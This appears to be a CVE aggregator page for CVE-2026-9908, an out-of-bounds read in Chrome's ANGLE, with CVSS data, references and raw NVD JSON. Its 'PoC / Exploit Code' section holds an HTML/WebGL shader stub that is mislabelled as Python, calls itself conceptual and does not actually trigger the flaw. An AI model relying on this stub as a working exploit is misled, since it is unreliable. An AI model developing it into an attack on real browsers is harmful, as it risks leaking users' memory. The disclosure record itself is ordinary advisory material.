CVE-2026-9908

Description

Out of bounds read in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-9908 PoC Concept (WebGL based OOB Read) -->
<!-- This is a conceptual demonstration, actual trigger requires specific shader or texture parameters -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-9908 PoC</title></head>
<body>
<canvas id="glCanvas" width="640" height="480"></canvas>
<script>
  const canvas = document.getElementById('glCanvas');
  // Initialize WebGL context which uses ANGLE
  const gl = canvas.getContext('webgl');

  if (gl) {
    console.log("[+] WebGL context initialized via ANGLE.");
    
    // Conceptual Fragment Shader attempting to trigger OOB read
    // In a real exploit, specific GLSL code would manipulate buffer indices
    const fragShaderSource = `
      precision mediump float;
      uniform sampler2D uSampler;
      varying vec2 vTexCoord;
      void main() {
        // Attempting to access texture data outside bounds
        // This logic simulates the condition that triggers the vulnerability
        vec4 color = texture2D(uSampler, vTexCoord + vec2(9999.0, 0.0)); 
        gl_FragColor = color;
      }
    `;

    // Compile and link shader program (simplified for PoC structure)
    const shader = gl.createShader(gl.FRAGMENT_SHADER);
    gl.shaderSource(shader, fragShaderSource);
    gl.compileShader(shader);

    if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
      console.log("[-] Shader compilation failed (expected in conceptual PoC).");
    } else {
      console.log("[+] Shader compiled. If browser is vulnerable, memory may be read.");
    }
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9908
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9908
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9908/
[4] VulDB https://vuldb.com/cve/CVE-2026-9908
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/499091328

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9908", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:48.867", "lastModified": "2026-05-29T18:17:14.160", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/499091328", "source": "[email protected]"}]}}